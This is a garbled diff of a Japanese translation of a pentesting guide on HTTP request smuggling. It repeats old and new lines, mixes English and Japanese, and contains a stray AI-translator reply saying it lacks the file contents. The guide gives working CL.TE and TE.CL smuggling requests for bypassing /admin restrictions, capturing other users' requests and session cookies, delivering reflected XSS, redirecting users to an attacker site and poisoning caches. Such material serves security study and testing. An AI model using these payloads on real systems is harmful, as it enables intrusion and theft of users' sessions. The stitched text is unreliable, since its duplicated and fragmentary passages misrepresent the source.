例えば、[**this writeup**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeug ではいくつかの **Unicode** 文字を送信することでサーバーを**break**させることが可能でした。しかし、HTTP接続がヘッダ**`Connection: keep-alive`**で作成されている場合、リクエストの**body**は読み込まれず接続は開いたままになるため、リクエストの**body**は**次のHTTPリクエスト**として扱われます。
GET /404 HTTP/1.1
X: Y
```
そして front-end は `Content-Length` を考慮しないため、例では最初の request例の 7 まで)だけを backend に送信します。しかし backend は `Content-Length` を見て、front-end が既に response を待っているため到着しない body を待ち続けます。
#### hop-by-hop headers を介した強制
ただし、backend に送った request の body を受け取る前にレスポンスを返せる request があれば、このデッドロックは発生しません。例えば IIS では `/con` のような forbidden words へのリクエストを送るとこれが起きます([documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file) を参照)。このようにして、最初の request は直接レスポンスされ、2 番目の request は被害者の request を含むようになります:
```
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
```
これは desync を引き起こすのに有用だが、これまでのところ影響はない。
hop-by-hop headers を悪用すると、プロキシに **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse** と指示でき、それによって HTTP request smuggling を悪用できます。
しかし、その投稿はこれに対する解決策を提供しており、**[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)** に変換する方法を示している。
#### ウェブサーバのクラッシュ
この手法は、初期の HTTP データを読み取っている間にウェブサーバをクラッシュさせられるが、接続を閉じない状況でも有用です。こうすると、HTTP リクエストの **body** が次の HTTP リクエストとして扱われます。
例えば、[**this writeup**](https://mizu.re/post/twisty-python) で説明されているように、Werkzeug ではいくつかの **Unicode** 文字を送信することでサーバが**クラッシュ**する可能性がありました。しかし、HTTP 接続がヘッダ **`Connection: keep-alive`** で作成されている場合、リクエストの **body** は読み取られず接続は開いたままになるため、リクエストの **body** が**次の HTTP リクエスト** として扱われます。
#### hop-by-hop headers を使った強制
hop-by-hop headers を悪用することで、プロキシに **ヘッダ Content-Length または Transfer-Encoding を削除し、HTTP request smuggling を悪用できるようにする** と指示できる。
```
Connection: Content-Length
```
@ -201,16 +242,15 @@ For **more information about hop-by-hop headers** visit:
../abusing-hop-by-hop-headers.md
{{#endref}}
## HTTP Request Smuggling の検出
## HTTP Request Smuggling の発見方法
HTTP request smuggling 脆弱性の識別は、多くの場合タイミング手法で達成できます。これらは、改変したリクエストに対してサーバが応答するまでにどれくらい時間がかかるかを観察することに依存します。これらの手法は特に CL.TE および TE.CL 脆弱性の検出に有用です。これらの方法に加えて、脆弱性を見つけるために使える他の戦略やツールもあります:
HTTP request smuggling 脆弱性の特定は、操作したリクエストに対するサーバの応答時間を観察するタイミング技術で達成できることが多いです。これらの技術は特に CL.TE と TE.CL の脆弱性を検出するのに有効です。これらの方法に加えて、脆弱性を見つけるために使える他の戦略やツールもあります
### CL.TE 脆弱性の検出(タイミング手法を使用)
### Timing 技術を使った CL.TE 脆弱性の発見
- **Method:**
- アプリケーションが脆弱であれば、バックエンドサーバが追加データを待つことになるようなリクエストを送信します。
- **Example:**
- 方法:
- アプリケーションが脆弱であれば、バックエンドサーバが追加のデータを待機するようなリクエストを送る。
- 例:
```
POST / HTTP/1.1
@ -224,20 +264,19 @@ A
0
```
- **Observation:**
- フロントエンドサーバは `Content-Length` に基づいてリクエストを処理し、メッセージを早期に切断します。
- バックエンドサーバは chunked メッセージを期待しており、次のチャンクが到着するのを待つため、遅延が発生します
- 観察点:
- フロントエンドサーバが `Content-Length` に基づいてリクエストを処理し、メッセージを早期に切り落とす。
- バックエンドサーバは chunked メッセージを期待しており、次のチャンクが届かないため待機し、遅延が発生する
- **Indicators:**
- タイムアウトや長い応答遅延。
- バックエンドサーバから 400 Bad Request エラーを受け取ることがあり、時に詳細なサーバ情報が含まれる場合があります
- 指標:
- タイムアウトや長い応答遅延。
- バックエンドサーバから 400 Bad Request エラーを受け取り、場合によっては詳細なサーバ情報が含まれることがある
### TE.CL 脆弱性の検出(タイミング手法を使用)
### Timing 技術を使った TE.CL 脆弱性の発見
- **Method:**
- アプリケーションが脆弱であれば、バックエンドサーバが追加データを待つことになるようなリクエストを送信します。
- **Example:**
- 方法:
- アプリケーションが脆弱であれば、バックエンドサーバが追加のデータを待機するようなリクエストを送る。
- 例:
```
POST / HTTP/1.1
@ -250,42 +289,55 @@ Content-Length: 6
X
```
- **Observation:**
- フロントエンドサーバは `Transfer-Encoding` に基づいてリクエストを処理し、メッセージ全体を転送します
- バックエンドサーバは `Content-Length` に基づくメッセージを期待しており、到着しない追加データを待つため遅延が発生します
- 観察点:
- フロントエンドサーバが `Transfer-Encoding` を基にリクエストを処理してメッセージ全体を転送する
- バックエンドサーバは `Content-Length` に基づくメッセージを期待しており、追加データが届かないため待機し、遅延が発生する
### 脆弱性を見つけるためのその他の方法
- **Differential Response Analysis:**
- わずかに異なるバージョンのリクエストを送り、サーバの応答が予期せぬ形で異なるかどうかを観察します。これによりパーサの差異が示唆されます。
- **Using Automated Tools:**
- Burp Suite の 'HTTP Request Smuggler' 拡張などのツールは、さまざまな曖昧なリクエストを自動で送信して応答を解析することで、これらの脆弱性を自動的にテストできます。
- **Content-Length Variance Tests:**
- 実際のコンテンツ長と一致しない様々な `Content-Length` 値を持つリクエストを送信し、サーバがこうした不一致をどのように処理するかを観察します。
- **Transfer-Encoding Variance Tests:**
- `Transfer-Encoding` ヘッダを難読化したり不正な形式にして送信し、フロントエンドとバックエンドがどのように異なる反応をするかを監視します。
- Differential Response Analysis:
- リクエストのわずかに異なるバージョンを送信し、サーバ応答が予期せぬ違いを示すか観察する。これはパースの不一致を示す。
- Using Automated Tools:
- Burp Suite の 'HTTP Request Smuggler' extension のようなツールは、各種あいまいなリクエストを自動で送って応答を解析することでこれらの脆弱性を検査できる。
- Content-Length Variance Tests:
- 実際のコンテンツ長と一致しない様々な `Content-Length` 値のリクエストを送信し、サーバがそれらの不一致をどう処理するかを観察する。
- Transfer-Encoding Variance Tests:
- `Transfer-Encoding` ヘッダを難読化したり破損させたりしたリクエストを送信し、フロントエンドとバックエンドがそれらにどう異なって応答するかを監視する。
### The `Expect: 100-continue` header
このヘッダが http desync を利用するのにどう役立つかは以下を参照:
{{#ref}}
../special-http-headers.md
{{#endref}}
### HTTP Request Smuggling 脆弱性のテスト
タイミング手法の有効性を確認した後は、クライアントからのリクエストが操作可能かどうかを検証することが重要です。単純な方法としては、リクエストを汚染して `/` へのリクエストが 404 を返すように試みることです。前述の `CL.TE``TE.CL` の例は、クライアントが別のリソースにアクセスしようとしていてもクライアント側のリクエストを汚染して 404 を引き出す方法を示しています([Basic Examples](#basic-examples) を参照)。
タイミング技術の有効性を確認した後、クライアントからのリクエストを操作できるかどうかを検証することが重要です。単純な方法はリクエストを汚染して、例えば `/` へのリクエストが 404 を返すようにすることです。前述の CL.TE と TE.CL の例は、クライアントが別のリソースにアクセスしようとしているにもかかわらず、クライアントのリクエストを汚染して 404 を引き出す方法を示しています([Basic Examples](#basic-examples) を参照)。
**重要な考慮点**
重要な考慮点
他のリクエストに干渉して request smuggling をテストする際は、次の点に留意してください:
リクエストを妨害して request smuggling 脆弱性をテストする際は、以下を念頭に置いてください:
- **Distinct Network Connections:** 「攻撃」リクエストと「通常」リクエストは別々のネットワーク接続で送信するべきです。両方を同じ接続で送ると、脆弱性の存在は検証されません。
- **Consistent URL and Parameters:** 両方のリクエストで同一の URL とパラメータ名を使用することを目指してください。現代のアプリケーションは URL やパラメータに基づいて特定のバックエンドサーバへルーティングすることが多く、これらを一致させることで両リクエストが同じサーバで処理される可能性が高まり、攻撃成功の前提条件を満たします。
- **Timing and Racing Conditions:** 検出用の「通常」リクエストは、「攻撃」リクエストによる干渉を検出するために競合します。したがって、「攻撃」リクエストの直後に「通常」リクエストを送信してください。負荷の高いアプリケーションでは結論を出すために複数回の試行が必要になる場合があります。
- **Load Balancing Challenges:** フロントエンドサーバがロードバランサとして動作している場合、リクエストは異なるバックエンドシステムに分散される可能性があります。「攻撃」と「通常」のリクエストが異なるシステムに割り当てられると攻撃は成功しません。このロードバランシングの影響により、脆弱性確認のために何度か試行する必要が出てくることがあります。
- **Unintended User Impact:** 攻撃が他のユーザのリクエスト(あなたが検出用に送った「通常」リクエストではないもの)に影響を与えた場合、それはあなたの攻撃が別のアプリケーションユーザに影響を及ぼしたことを示しています。継続的なテストは他のユーザを妨害する可能性があるため、慎重に行ってください。
- Distinct Network Connections:
- 「攻撃」リクエストと「通常」リクエストは別々のネットワーク接続で送るべきです。両方を同じ接続で送ると脆弱性の存在は検証できません。
- Consistent URL and Parameters:
- 両リクエストで同一の URL とパラメータ名を使うことを目指してください。モダンなアプリケーションは URL やパラメータに基づいて特定のバックエンドサーバにルーティングすることが多いです。これらを一致させることで、両リクエストが同じサーバで処理される可能性が高まり、攻撃成功の前提条件となります。
- Timing and Racing Conditions:
- 「通常」リクエストは「攻撃」リクエストによる干渉を検出するためのもので、他の同時実行中のアプリケーションリクエストと競合します。したがって「攻撃」リクエストの直後に「通常」リクエストを送信してください。負荷の高いアプリケーションでは結論を出すために複数回の試行が必要になることがあります。
- Load Balancing Challenges:
- フロントエンドサーバがロードバランサとして機能している場合、リクエストは複数のバックエンドへ分散される可能性があります。「攻撃」と「通常」のリクエストが異なるシステムに送られると攻撃は失敗します。このロードバランシングの影響で脆弱性を確認するために複数回の試行が必要になることがあります。
- Unintended User Impact:
- もし攻撃が意図せず別のユーザのリクエストに影響を与えた場合(テスト用の「通常」リクエストではない他のユーザのリクエストに影響を与えた場合)、それはあなたの攻撃が他のアプリケーションユーザに影響を及ぼしたことを示します。継続的なテストは他ユーザを混乱させる可能性があるため、慎重に行ってください。
## HTTP/1.1 pipelining のアーティファクトと真の request smuggling を区別する
## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
Connection reuse (keep-alive) と pipelining は、同じソケット上で複数のリクエストを送るテストツールで「smuggling の幻影」を簡単に生じさせます。クライアント側の無害なアーティファクトを、サーバ側の真のデシンクdesyncと区別する方法を学んでください。
Connection reuse (keep-alive) と pipelining は、同じソケット上で複数のリクエストを送るテストツールにおいて「smuggling」の幻影を簡単に生み出します。クライアント側の無害なアーティファクトと実際のサーバ側のデスインクを区別する方法を学んでください。
### なぜ pipelining が古典的な false positive を生むのか
### なぜ pipelining が古典的な false positives を作るのか
HTTP/1.1 は単一の TCP/TLS 接続を再利用して、同一ストリーム上でリクエストとレスポンスを連結します。パイプライニングでは、クライアントが複数のリクエストを立て続けに送り、順序通りのレスポンスを期待します。一般的な false-positive の例としては、単一の接続上で不正な CL.0 スタイルのペイロードを二度再送することがあります:
HTTP/1.1 は単一の TCP/TLS 接続を再利用して同じストリーム上にリクエストとレスポンスを連結します。pipelining ではクライアントが複数のリクエストを立て続けに送り、順序通りの応答を期待します。一般的な false-positive の例は、単一の接続で malformed CL.0-style payload を二度再送することです:
```
POST / HTTP/1.1
Host: hackxor.net
@ -294,7 +346,7 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
レスポンスは次のようになります:
I don't have the file contents. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md here and I'll translate the relevant English text to Japanese, preserving all markdown/html, code, tags, links, and paths per your rules.
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -308,7 +360,7 @@ Content-Type: text/plain
User-agent: *
Disallow: /settings
```
サーバが不正な `Content_Length` を無視した場合、FE↔BE desync は発生しません。接続を再利用すると、クライアントは実際に次のバイトストリームを送信し、サーバはそれを2つの独立したリクエストとして解析しました:
サーバが不正な `Content_Length` を無視した場合、FE↔BE desync は発生しません。再利用時、クライアントは実際にこのバイトストリームを送信し、サーバはそれを2つの独立したリクエストとして解析します:
```
POST / HTTP/1.1
Host: hackxor.net
@ -323,40 +375,41 @@ GET /robots.txt HTTP/1.1
X: Y
```
Impact: none. You just desynced your client from the server framing.
> [!TIP]
> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
### Litmus tests: pipelining or real desync?
1. Disable reuse and re-test
- Burp Intruder/Repeater では HTTP/1 reuse をオフにし、"Send group in sequence" を避けます。
- Turbo Intruder では `requestsPerConnection=1``pipeline=False` を設定します。
- 挙動が消える場合、それはおそらく client-side pipelining によるものです。ただし connection-locked/stateful targets や client-side desync を扱っている可能性がある点には注意してください。
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
- If the behavior disappears, it was likely client-side pipelining, unless youre dealing with connection-locked/stateful targets or client-side desync.
2. HTTP/2 nested-response check
- HTTP/2 リクエストを送信します。レスポンスボディに完全なネストされた HTTP/1 レスポンスが含まれていれば、純粋なクライアント副産物ではなくバックエンドのパーシング/desync バグがあることが証明されます。
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, youve proven a backend parsing/desync bug instead of a pure client artifact.
3. Partial-requests probe for connection-locked front-ends
- 一部の FE はクライアントが接続を再利用した場合にのみ upstream BE 接続を再利用します。partial-requests を使って、クライアント再利用を反映する FE の挙動を検出してください。
- connection-locked 手法については PortSwigger の "BrowserPowered Desync Attacks" を参照してください。
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
- See PortSwigger "BrowserPowered Desync Attacks" for the connection-locked technique.
4. State probes
- 同一 TCP 接続上での最初のリクエストとそれ以降のリクエストの差first-request routing/validationを確認します。
- Burp の "HTTP Request Smuggler" にはこの接続状態プローブを自動化する機能が含まれています。
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
- Burp "HTTP Request Smuggler" includes a connectionstate probe that automates this.
5. Visualize the wire
- Burp の "HTTP Hacker" extension を使い、reuse や partial requests を試しながら連結やメッセージフレーミングを直接検査します。
- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
### Connectionlocked request smuggling (reuse-required)
Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
- サーバー側のバグを証明する
- HTTP/2 nested-response check を使う、または
- partial-requests を使って FE がクライアントが再利用した場合にのみ upstream を再利用することを示す
- たとえ直接のクロスユーザーソケット濫用がブロックされていても実害を示す:
- Cache poisoning: desync を利用して共有キャッシュを汚染し、他のユーザーに影響を与えるレスポンスを生成する
- Internal header disclosure: FE が挿入したヘッダ(例: auth/trust headersを反映させて auth bypass に繋げる
- Bypass FE controls: 制限されたパスやメソッドを front-end を通過させる
- Host-header abuse: host ルーティングの奇異と組み合わせて内部 vhost にピボットする
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
- Show real impact even if direct cross-user socket abuse is blocked:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
- Operator workflow
- 制御下での再利用を再現するTurbo Intruder `requestsPerConnection=2`、または Burp Repeater のタブグループ → "Send group in sequence (single connection)")。
- その後、cache/header-leak/control-bypass のプリミティブにチェーンし、クロスユーザーまたは認可への影響を実証する。
- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
> See also connectionstate attacks, which are closely related but not technically smuggling:
>
@ -366,7 +419,7 @@ Some front-ends only reuse the upstream connection when the client reuses theirs
### Clientside desync constraints
browser-powered/client-side desync を狙う場合、悪意あるリクエストはブラウザからクロスオリジンで送信可能でなければなりません。Header obfuscation のトリックは通用しません。navigation/fetch 経由で到達可能なプリミティブに注力し、その後 downstream コンポーネントがレスポンスを反映またはキャッシュする箇所へ pivot して、cache poisoning、header disclosure、front-end control bypass などを狙います。
If youre targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks wont work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
For background and end-to-end workflows:
@ -376,21 +429,21 @@ browser-http-request-smuggling.md
### Tooling to help decide
- HTTP Hacker (Burp BApp Store): 低レベルの HTTP 挙動やソケット連結を可視化します。
- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: `requestsPerConnection` による接続再利用の精密な制御が可能です。
- Burp HTTP Request Smuggler: first-request routing/validation を検出する接続状態プローブを含みます。
- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
- Burp HTTP Request Smuggler: includes a connectionstate probe to spot firstrequest routing/validation.
> [!NOTE]
> 再利用のみで発生する効果は、サーバー側 desync を証明し、具体的な影響poisoned cache artifact、leaked internal header による権限回避、FE 制御のバイパス等)を示せない限り、重大な問題とは見なさないでください。
> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
## Abusing HTTP Request Smuggling
### Circumventing Front-End Security via HTTP Request Smuggling
時折、front-end proxy は受信リクエストに対してセキュリティ対策を強制しており、特定のリクエストを厳密に検査します。しかし、HTTP Request Smuggling を悪用すると、これらの対策を回避して制限されたエンドポイントに不正アクセスできる場合があります。例えば、外部から `/admin` へのアクセスが禁止され、front-end proxy によって積極的にブロックされている場合でも、この proxy が smuggled な HTTP リクエスト内の埋め込みリクエストを検査しない可能性があり、制限回避の抜け穴になります。
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
以下は、front-end セキュリティ制御(典型的には front-end proxy によって保護されている `/admin` パスをターゲットにする例)を回避するために HTTP Request Smuggling を利用する方法を示す例です:
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
**CL.TE Example**
```
@ -409,9 +462,9 @@ Content-Length: 10
x=
```
CL.TE攻撃では、`Content-Length` ヘッダーが最初のリクエストで利用され、続く埋め込まれたリクエストは `Transfer-Encoding: chunked` ヘッダーを使用します。フロントエンドのプロキシは最初の `POST` リクエストを処理しますが、埋め込まれた `GET /admin` リクエストを検査できないため、`/admin` パスへの不正アクセスが可能になります。
CL.TE attackでは、初期リクエストには`Content-Length`ヘッダが使われ、続く埋め込まれたリクエストでは`Transfer-Encoding: chunked`ヘッダが使用されます。フロントエンドのプロキシは最初の`POST`リクエストを処理しますが、埋め込まれた`GET /admin`リクエストを検査できないため、`/admin`パスへの不正アクセスが可能になります。
**TE.CL **
**TE.CL Example**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -427,13 +480,13 @@ a=x
0
```
Conversely, in the TE.CL attack, the initial `POST` request uses `Transfer-Encoding: chunked`, and the subsequent embedded request is processed based on the `Content-Length` header. Similar to the CL.TE attack, the front-end proxy overlooks the smuggled `GET /admin` request, inadvertently granting access to the restricted `/admin` path.
逆に、TE.CL attackでは、最初の`POST`リクエストが`Transfer-Encoding: chunked`を使用し、その後に埋め込まれたリクエストは`Content-Length`ヘッダーに基づいて処理されます。CL.TE attackと同様に、フロントエンドプロキシは密輸された`GET /admin`リクエストを見落とし、結果的に制限された`/admin`パスへのアクセスを許可してしまいます。
### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### フロントエンドのリクエスト書き換えを明らかにする <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
アプリケーションはしばしば、受信したリクエストをback-end serverに渡す前に変更するために**front-end server**を使用します。典型的な変更は、クライアントのIPをback-endに伝えるために`X-Forwarded-For: <IP of the client>`のようなヘッダを追加することです。これらの変更を理解することは重要で、**保護を回避する**や**隠された情報やエンドポイントを発見する**方法を明らかにする可能性があります。
アプリケーションは、受信したリクエストをバックエンドサーバに渡す前に変更するために、**front-end server**を利用することがよくあります。典型的な変更は、クライアントのIPをバックエンドに伝えるために、`X-Forwarded-For: <IP of the client>` のようなヘッダを追加することです。これらの変更を理解することは重要です。なぜなら、**保護を回避する**方法**隠された情報やエンドポイントを発見する**方法が明らかになる可能性があるからです。
プロキシがリクエストをどのように変更するか調べるには、back-endがレスポンスでエコーするPOSTパラメータを見つけます。次に、このパラメータを最後に使う形で、次のようなリクエストを作成します:
プロキシがリクエストをどのように変更するかを調べるには、バックエンドがレスポンス内でエコーするPOSTパラメータを見つけます。次に、そのパラメータを最後に使用する形で、以下のようなリクエストを作成します:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -450,19 +503,19 @@ Content-Length: 100
search=
```
この構造では、後続のリクエスト構成要素が `search=` の後に追加されます。これはレスポンスに反映されるパラメータであり、この反映により後続リクエストのヘッダが露出します。
この構造では、後続のリクエストコンポーネントが `search=` の後ろに追加され、これはレスポンスに反映されるパラメータです。この反映によって後続リクエストのヘッダが露出します。
ネストされたリクエストの `Content-Length` ヘッダを実際のコンテンツ長と合わせることが重要です。小さめの値から始めて徐々に増やすことを推奨します。値が小さすぎると反映されるデータが切り詰められ、大きすぎるとリクエストがエラーになる可能性があります。
`Content-Length` ヘッダをネストされたリクエストの実際のコンテンツ長と一致させることが重要です。小さい値から始めて徐々に増やすのが望ましく、値が小さすぎると反映データが切り詰められ、大きすぎるとリクエストがエラーになる可能性があります。
この手法は TE.CL 脆弱性の文脈でも適用できますが、リクエストは `search=\r\n0` で終する必要があります。改行文字に関係なく、値は `search` パラメータに追加されます。
この手法は TE.CL 脆弱性の文脈でも適用できますが、リクエストは `search=\r\n0` で終する必要があります。改行文字に関係なく、値は search パラメータに追加されます。
この方法は主にフロントエンドプロキシが行うリクエスト変更を理解するためのもので、実質的には自己調査を行うことになります。
この方法は主にフロントエンドプロキシによって行われるリクエストの変更を理解するために用いられ、事実上の自己調査を行うものです。
### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
POST 操作中に、あるパラメータの値として特定のリクエストを追加することで、次のユーザーのリクエストをキャプチャすることが可能です。以下のように実行できます:
POST 操作中にパラメータの値として特定のリクエストを追加することで、次のユーザーのリクエストをキャプチャすることが可能です。以下はその方法です:
以下のリクエストをパラメータの値として追加することで、続くクライアントのリクエストを保存できます:
以下のリクエストをパラメータの値として追加することで、続くクライアントのリクエストを保存できます
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -482,20 +535,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
このシナリオでは、**comment parameter** は公開ページの投稿のコメント欄に内容を保存することを意図しています。そのため、後続のリクエストの内容はコメントとして表示されます。
However, this technique has limitations. Generally, it captures data only up to the parameter delimiter used in the smuggled request. For URL-encoded form submissions, this delimiter is the `&` character. This means the captured content from the victim user's request will stop at the first `&`, which may even be part of the query string.
しかし、この手法には制限があります。一般に、スムグルされたリクエストで使用されるパラメータ区切り文字までしかデータを取得できません。URL エンコードされたフォーム送信では、この区切り文字は `&` です。つまり、被害者ユーザのリクエストから取得される内容は最初の `&` で途切れます。これはクエリ文字列の一部である場合もあります。
Additionally, it's worth noting that this approach is also viable with a TE.CL vulnerability. In such cases, the request should conclude with `search=\r\n0`. Regardless of newline characters, the values will be appended to the search parameter.
また、この手法は TE.CL 脆弱性でも有効である点に注意してください。その場合、リクエストは `search=\r\n0` で終了させる必要があります。改行文字がどうであれ、値は search パラメータに追記されます。
### Using HTTP request smuggling to exploit reflected XSS
HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages:
HTTP Request Smuggling **Reflected XSS** に脆弱なウェブページを悪用するために利用できます。主な利点は次の通りです:
- Interaction with the target users is **not required**.
- Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers.
- ターゲットユーザとのやり取りは **不要** です。
- 普通は到達できないようなリクエストの一部HTTP request headersで XSS を悪用できます。
In scenarios where a website is susceptible to Reflected XSS through the User-Agent header, the following payload demonstrates how to exploit this vulnerability:
ウェブサイトが User-Agent header を介して Reflected XSS に脆弱な場合、次の payload はこの脆弱性を悪用する方法を示します:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -527,13 +580,13 @@ By manipulating the `User-Agent` through smuggling, the payload bypasses normal
#### HTTP/0.9
> [!CAUTION]
> ユーザーコンテンツが **`Content-type`** に **`text/plain`** のような値で反映される場合、XSS の実行が阻止されます。サーバーが **HTTP/0.9 をサポートしている場合、これをバイパスできる可能性があります**
> ユーザコンテンツが **`text/plain`** のような **`Content-type`** でレスポンスに反映される場合、XSS の実行は防がれます。サーバが **HTTP/0.9** をサポートしている場合、これを回避できる可能性があります
The version HTTP/0.9 was previously to the 1.0 and only uses **GET** verbs and **doesnt** respond with **headers**, just the body.
In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.
### サイト内リダイレクトを HTTP Request Smuggling で悪用する <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:
```
@ -545,7 +598,7 @@ Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
一見無害に見えるこの挙動は、HTTP request smuggling を用いてユーザーを外部サイトにリダイレクトするように悪用できます。例えば:
一見無害に見えるが、この挙動は HTTP request smuggling を利用してユーザーを外部サイトにリダイレクトするよう操作できる。例えば:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -559,7 +612,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
この smuggled request は、次に処理されるユーザーのリクエストを攻撃者が制御するウェブサイトへリダイレクトさせる可能性があります:
このスミッギングされたリクエストは、次に処理されるユーザーのリクエストを攻撃者が管理するウェブサイトにリダイレクトさせる可能性があります:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -571,17 +624,17 @@ Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
このシナリオでは、ユーザの JavaScript ファイルへのリクエストがハイジャックされます。攻撃者は悪意ある JavaScript を返すことでユーザを侵害できる可能性があります。
このシナリオでは、ユーザの JavaScript ファイルへのリクエストがハイジャックされます。攻撃者は悪意ある JavaScript を返すことでユーザを侵害できる可能性があります。
### HTTP Request Smuggling を介した Web Cache Poisoning の悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Web cache poisoning は、通常パフォーマンス向上のために**front-end infrastructure caches content**(フロントエンドのコンポーネントがコンテンツをキャッシュしている)場合に実行可能です。サーバーのレスポンスを操作することで、**poison the cache** ことが可能です。
Web cache poisoning は、一般にパフォーマンス向上のために**フロントエンドのインフラがコンテンツをキャッシュしている**場合に実行できます。サーバのレスポンスを操作することで、**poison the cache** が可能になります。
前述のように、サーバーのレスポンスを変更して 404 エラーを返す方法を確認しました(参照: [Basic Examples](#basic-examples))。同様に、`/static/include.js` へのリクエストに対して `/index.html` の内容を返すようサーバーを騙すことも可能です。その結果、`/static/include.js` の内容がキャッシュ内で `/index.html` の内容に置き換わり、ユーザーから `/static/include.js` へアクセスできなくなり、Denial of Service (DoS) を引き起こす可能性があります。
前述のとおり、サーバのレスポンスを改変して 404 エラーを返すことができる例を見ました(参照: [Basic Examples](#basic-examples))。同様に、`/static/include.js` を要求した際にサーバに `/index.html` の内容を返させるようトリックすることも可能です。結果として、`/static/include.js` のキャッシュが `/index.html` の内容で置き換えられ、ユーザが `/static/include.js` にアクセスできなくなり、場合によっては DoS を引き起こす可能性があります。
この手法は、**Open Redirect vulnerability** が見つかった場合 **on-site redirect to an open redirect** が存在する場合に特に強力になります。これらの脆弱性を利用すると、キャッシュされた `/static/include.js` の内容を攻撃者の管理するスクリプトに置き換えることができ、結果的に更新された `/static/include.js` を要求するすべてのクライアントに対して大規模な Cross-Site Scripting (XSS) 攻撃を実行することが可能になります。
